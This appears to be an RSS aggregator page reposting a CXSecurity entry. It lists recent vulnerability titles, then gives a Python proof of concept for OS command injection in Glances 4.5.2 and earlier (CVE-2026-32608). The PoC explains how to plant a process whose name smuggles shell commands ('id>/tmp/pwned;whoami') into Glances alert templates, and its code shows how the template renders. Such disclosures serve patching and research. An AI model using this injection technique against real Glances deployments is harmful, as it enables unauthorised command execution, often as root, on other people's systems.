惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Blog — PlanetScale
Blog — PlanetScale
Jina AI
Jina AI
C
Check Point Blog
V
V2EX
H
Help Net Security
Microsoft Azure Blog
Microsoft Azure Blog
P
Proofpoint News Feed
A
About on SuperTechFans
D
DataBreaches.Net
腾讯CDC
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
IT之家
IT之家
WordPress大学
WordPress大学
人人都是产品经理
人人都是产品经理
T
The Blog of Author Tim Ferriss
Recent Announcements
Recent Announcements
Google DeepMind News
Google DeepMind News
云风的 BLOG
云风的 BLOG
MongoDB | Blog
MongoDB | Blog
J
Java Code Geeks
博客园_首页
T
Tailwind CSS Blog
M
MIT News - Artificial intelligence
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻

CXSECURITY Database RSS Feed - CXSecurity.com

Langflow 1.3.0 Remote Code Execution Krayin CRM v2.2.x Authenticated Remote Code Execution PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution
Glances <= 4.5.2 OS Command Injection via Mustache Templa...
2026-03-18 · via CXSECURITY Database RSS Feed - CXSecurity.com

#!/usr/bin/env python3 # Exploit Title: Glances <= 4.5.2 OS Command Injection via Mustache Template Fields # CVE: CVE-2026-32608 # Date: 2026-03-18 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://github.com/nicolargo/glances # Software Link: https://pypi.org/project/glances/ # Affected: Glances <= 4.5.2-dev01 (pip / source installs) # Tested on: Glances 4.5.1 # Category: Remote # Platform: Linux / macOS / Windows (where Glances runs) # Exploit Type: Command Injection # CVSS: 7.0 (High) # Description: Glances insecurely processes user-controlled values (process names, container names, mount points) in Mustache templates used in action commands. Malicious entity names can inject arbitrary OS commands via | && > separators before secure_popen splitting logic. # Fixed in: Glances 4.5.2 (commit 6f4ec53d967478e69917078e6f73f448001bf107) # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- (no command-line options implemented in this minimal PoC) # # Notes: # • Requires Glances to be running with a config containing action commands using {{name}}, {{container_name}} etc. # • Attacker must be able to create/rename processes or Docker containers on the target system. # • Executes commands as the user running Glances (often root when run as service) # # How to Use # # Step 1: # Install vulnerable version: pip install "glances<4.5.2" # # Step 2: # Create glances.conf with e.g.: # [processlist] # critical_action=echo "ALERT: {{name}}" >> /tmp/alert.log # # Step 3: # Run Glances: glances --config glances.conf # # Step 4: # Create malicious process: # cp /bin/sleep "/tmp/ok|id>/tmp/pwned;whoami>>/tmp/pwned||" # "/tmp/ok|id>/tmp/pwned;whoami>>/tmp/pwned||" 999 & # # Step 5: # Wait for Glances to evaluate process list and trigger action import subprocess import shlex def vulnerable_secure_popen(cmd: str): for sep in ("&&", "|", ">"): cmd = cmd.replace(sep, f" {sep} ") parts = [p.strip() for p in cmd.split() if p.strip()] for part in parts: print(f"[EXEC] {part}") malicious_name = 'innocent|id>/tmp/pwned;whoami>>/tmp/pwned||' template = 'echo "ALERT: {{name}} used 99% CPU" >> /tmp/alerts.log' rendered = template.replace('{{name}}', malicious_name) print("Rendered command:", rendered) vulnerable_secure_popen(rendered)


Vote for this issue:

100%

0%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.